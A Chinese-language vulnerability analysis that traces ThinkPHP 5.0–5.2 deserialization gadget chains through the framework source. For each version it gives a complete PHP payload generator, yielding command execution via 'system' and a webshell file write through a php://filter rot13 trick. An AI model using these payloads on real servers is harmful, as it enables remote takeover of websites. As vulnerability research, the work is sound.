thinkphp反序列化漏洞分析

5.1.x

测试环境

tp5.1.35

php7.0.9

代码分析

框架最后触发执行任意命令的利用点在/thinkphp/library/think/Request.php中的filterValue函数,该函数中存在call_user_func($filter, $value);,通过反序列化我们最终可以实现对$filter, $value两个变量的控制,进而执行任意命令

从头跟一下利用链

起始触发点在thinkphp/library/think/process/pipes/Windows.phpWindows类的__destruct方法

close方法这里用不到,我们跟进一下removeFiles方法

该方法中调用了file_exists函数,通过这个函数我们可以将$filename赋值成一个对象,这样在调用file_exists函数时就会触发实例化类的__toString方法,这样可以全局搜索__toString方法来寻找利用点,这里使用到了thinkphp\library\think\model\concern\Conversion.php中的__toString方法

该方法中调用了toJson方法,跟进一下

继续跟进toArray方法,该方法中存在这样一段代码

在这里我们期望来找到形如$可控变量->方法(可控参数)这样的调用模式,这样就可以使我们跳到其他类调用其他类的方法,即使方法不可控,我们也可以调用其他类的__call方法进而继续寻找利用链,这里注意到了$relation->visible($name);这行代码,在这里$name是由$this->append来决定的,可以知道该变量是可控的,接着来看$relation,首先来看$relation = $this->getRelation($key);中的getRelation方法

该处返回值为NULL,接着进入到$relation = $this->getAttr($key);,跟进getAttr方法

该方法返回值为$value,因此接着跟进getData方法

该处返回值为$this->data[$name],其中$name取决于$this->data,这里$this->data是可控的,那么也就意味着$relation是可控的,那么该处$relation->visible($name);的模式为$可控变量->不可控方法(可控参数),该处的条件可以使我们调用任意不存在visible方法的类的__call方法,接着来全局搜索__call方法,在这里我们利用到了thinkphp/library/think/Request.php中的__call方法

10

该方法中存在call_user_func_array函数,其中第一个参数我们可以控制,第二个参数由于上面array_unshift函数的原因,其数组中第一个值固定为当前的类对象,这种情况下我们无法去直接在此处执行任意命令,因此我们需要利用此处继续寻找利用点,在Request类中可以发现有如下方法

该方法中存在着call_user_func这个函数,如果想办法来控制这个函数的两个参数就可以执行任意命令,我们需要来寻找一下何处调用了filterValue方法,这里我们选择同类下的input方法

该方法中使用array_walk_recursive函数来调用了filterValue方法,在这里$data决定着filterValue的前两个参数,我们目前无法控制,$filter决定着第三个参数,它来源于该行代码

1
$filter = $this->getFilter($filter, $default);

跟进getFilter方法

可以看到$filter最终由$this->filter决定,是可控的,接着为了控制$data的值,我们需要继续寻找调用input方法的方法,这里使用了param方法

函数返回值处调用了input方法

该处$this->param可控,其值为$_GET的值,我们在访问时加上参数即可控制,但该处$name是不可控的,因此在这里需要继续寻找调用param方法的方法,在此使用了isAjax方法

该处$this->config['var_ajax']是可控的,那么param方法的$name就是可控的,因此input方法中的$name就可控了,这里就可以绕过该处代码使其不受$data = $this->getData($data, $name);的影响

目前我们可以控制$data$filter,这也就意味着我们可以执行命令了

最后梳理下链的流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
反序列化触发
|
(class Windows)->__destruct
|
(class Windows)->removeFiles
|
(trait Conversion)->__toString
|
(trait Conversion)->toJson
|
(trait Conversion)->toArray
|
(class Request)->__call
|
(class Request)->isAjax
|
(class Request)->param
|
(class Request)->input
|
(class Request)->filterValue->call_user_func()

payload编写

理清楚链的流程后对于payload的编写相对来说容易一些,其中在利用的过程中使用到trait Conversiontrait Attribute,他们是不能被实例化的,所以我们需要找到引用了这两个trait的类来进行实例化,这里使用了thinkphp/library/think/Model.php中的Model

该类的类型为abstract,是一个抽象类,也是无法实例化的,这里还要继续寻找Model类的子类,搜索发现到thinkphp/library/think/model/Pivot.php中的Pivot类,因此exp编写如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
namespace think;
use think\facade\Cookie;
use think\facade\Session;
class Request{
protected $config = [];
protected $hook = [];
protected $filter;
public function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think;

abstract class Model{
private $data = [];
protected $append = [];
public function __construct(){
$this->append=['a'=>['b'=>'c']];
$this->data = ['a'=>new Request()];
}
}

namespace think\process\pipes;
abstract class Pipes{

}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
namespace think\process\pipes;
use think\Process;
//use think\model\concern\Conversion;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this->files = [new Pivot()];
}
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

利用截图

参考链接

https://xz.aliyun.com/t/6467

https://paper.seebug.org/1040/

5.2.x

测试环境

tp5.2.0

php7.3.4

代码分析

5.2.0版本的链在前半部分与5.1版本相同,通过vendor/topthink/framework/src/think/process/pipes/Windows.php中的windows类的__destruct方法触发,接着通过removeFiles方法触发vendor/topthink/framework/src/think/model/concern/Conversion.phpConversion__toString方法

跟进toJson方法

继续跟进toArray方法,需要关注下面的代码段

跟进这个getAttr方法

它的返回值是另一个方法的返回值,跟进这个方法

在该方法中存在着$value = $closure($value, $this->data);这样一处动态调用,我们可以探究一下$closure$value$this->data这三处是否可控,其中$this->data是直接可控的

那么来看$closure,其值由$this->withAttr[$fieldName];决定的,其中$this->withAttr是可控的,现在需要知道$fieldName是否可控,$fieldName的值由$this->getRealFieldName($name);决定,跟进getRealFieldName方法

这里的$this->strict默认值为true,那么该函数的返回值为$name,该变量是getValue方法的第一个参数,也就是getAttr方法的参数,如下图

toArray方法中,该参数为$data的一个键值,如图

在这里可以看到$data是可控的,那么意味着$closure是可控的

接着看一下$value,在getValue方法中,$relationflase,所以这里的$value是当作参数传进来的,如图

向前面找可以看到$valuegetData方法的返回值,如图

跟进该方法

该处$fieldName, $this->data都是可控的,这意味着$value是可控的,在这里$closure($value, $this->data);就完全可控了,我们可以构造如下的动态调用来执行系统命令

payload编写

有了上面的分析流程,结合分析5.1的经验,很容易编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace think;
abstract class Model{
private $withAttr = [];
private $data = [];
private $relation = [];
function __construct(){
$this->relation = ['yemoli'=>'whoami'];
$this->data = array();
$this->withAttr = ['yemoli'=>'system'];
}
}

namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

参考链接

https://xz.aliyun.com/t/6476

5.0.24

测试环境

Linux

php5.6

tp5.0.24

代码分析

该版本下利用方式是通过反序列化达到写文件的目的,我们来跟一下链

开始位置同样是位于thinkphp/library/think/process/pipes/Windows.php中的windows类的__destruct方法,该方法调用removeFiles方法,利用removeFiles可以实现对任意类__toString方法的触发,这里选择触发位于thinkphp/library/think/Model.php中的Model类的__toString方法

1
2
3
4
public function __toString()
{
return $this->toJson();
}

跟进toJson方法

1
2
3
4
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

继续跟进toArray,列出关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];

$data = array_merge($this->data, $this->relation);
.....
.....
.....
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

我们的目的是到达如下代码段

我在该函数中对于__call方法的触发不同于参考文章,直接跟进getRelationData方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
echo "<br>fuction called";
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}

这里我们注意下$modelRelation参数,他的值由$modelRelation = $this->$relation();这句得到,$relation值由$name决定,$name值由$this->append决定,是可控的,那么这里我们就可以调用我们可控的方法,这里选择Modle类中的getError方法,因为其返回值直接可控

1
2
3
4
public function getError()
{
return $this->error;
}

在这里$modelRelation就是完全可控的,在getRelationData方法中,执行到$value = $modelRelation->getRelation();时,就可以执行任意类的getRelation方法,这里选择位于thinkphp/library/think/model/relation/HasOne.phpHasOne类的getRelation方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function getRelation($subRelation = '', $closure = null)
{
// 执行关联定义方法
$localKey = $this->localKey;
if ($closure) {
call_user_func_array($closure, [ & $this->query]);
}
// 判断关联类型执行查询
$relationModel = $this->query
->removeWhereField($this->foreignKey)
->where($this->foreignKey, $this->parent->$localKey)
->relation($subRelation)
->find();

if ($relationModel) {
$relationModel->setParent(clone $this->parent);
}

return $relationModel;
}

关注如下代码段

1
2
3
4
5
$relationModel = $this->query
->removeWhereField($this->foreignKey)
->where($this->foreignKey, $this->parent->$localKey)
->relation($subRelation)
->find();

这里$this->query可控,$this->foreignKey可控,这样就可以触发任意不存在removeWhereField方法的类的__call方法,这里选择触发位于thinkphp/library/think/console/Output.phpOutput类的__call方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    public function __call($method, $args)
{
var_dump($args);
if (in_array($method, $this->styles)) {
array_unshift($args, $method);//$args->class Relation->$foreignKey
return call_user_func_array([$this, 'block'], $args);
}

if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}

}

接着由于return call_user_func_array([$this, 'block'], $args);会触发block方法

1
2
3
4
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}

跟进writeln方法

1
2
3
4
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}

跟进write方法

1
2
3
4
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}

这里$this->handle可控,我们又可以实现对任意类的write方法的调用,这里选择位于think/session/driver/Memcache.phpMemcache类的write方法

1
2
3
4
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}

同样的$this->handler可控,这样我们可以调用其他类的set方法,这里选择位于thinkphp/library/think/cache/driver/File.phpFile类的set方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}

这也是该链写文件的部分,看一下file_put_contents($filename, $data);的两个参数

1
2
$filename = $this->getCacheKey($name, true);
$data = serialize($value);

先看$filename,跟进getCacheKey方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected function getCacheKey($name, $auto = false)
{
$name = md5($name);
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}
$filename = $this->options['path'] . $name . '.php';
$dir = dirname($filename);

if ($auto && !is_dir($dir)) {
mkdir($dir, 0755, true);
}
return $filename;
}

$filename是由$this->options['path']$name组成的,是可控的,那么$filename就是可控的,其中md5值我们可以自己算出来

然后看一下$data,其值由$value决定,向上回溯会发现,该值的类型是布尔类型,也就是说我们在此处无法控制$data的值,那么目前我们无法写任意shell,于是接着回到set方法中,注意到该条语句$this->setTagItem($filename);,跟进setTagItem方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}

该方法中最后重新调用了set方法,其中$key = 'tag_' . md5($this->tag);$this->tag可控,则$key可控,而$value = $name$name是刚刚的$filename,那么$value也是可控的,在此我们在这里再次调用set方法,同时也能完全控制写入的文件名和文件内容,在写入文件内容时可以注意到如下语句

1
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

我们需要消除该处exit()方法的限制,这里我们可以使用伪协议+rot13编码绕过

payload编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php
namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler = new File();
}
}

namespace think\cache;
abstract class Driver{
//protected $tag;
function __construct(){
//$this->tag = 'nocatch';
}
}

namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{
protected $tag;
protected $options = [];
function __construct(){
$this->tag = 'nocatch';
$this->options = [
'cache_subdir'=>false,
'prefix'=>'',
'path'=>'php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>',
'data_compress'=>false,
];
}
}

namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->styles = ['removeWhereField'];
$this->handle = new Memcached();
}
}

namespace think\model;
use think\console\Output;
abstract class Relation{
protected $query;
protected $foreignKey;
function __construct(){
$this->query = new Output();
$this->foreignKey = "aaaaaaaaa";
}
}

namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{

}

namespace think\model\relation;
class HasOne extends OneToOne{

}

namespace think;
use think\model\relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
function __construct(){
$this->append = ['yemoli'=>'getError'];
$this->error = new HasOne();
}
}

namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}

namespace think\model;
use think\Model;
class Pivot extends Model
{
}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

参考链接

https://www.anquanke.com/post/id/196364an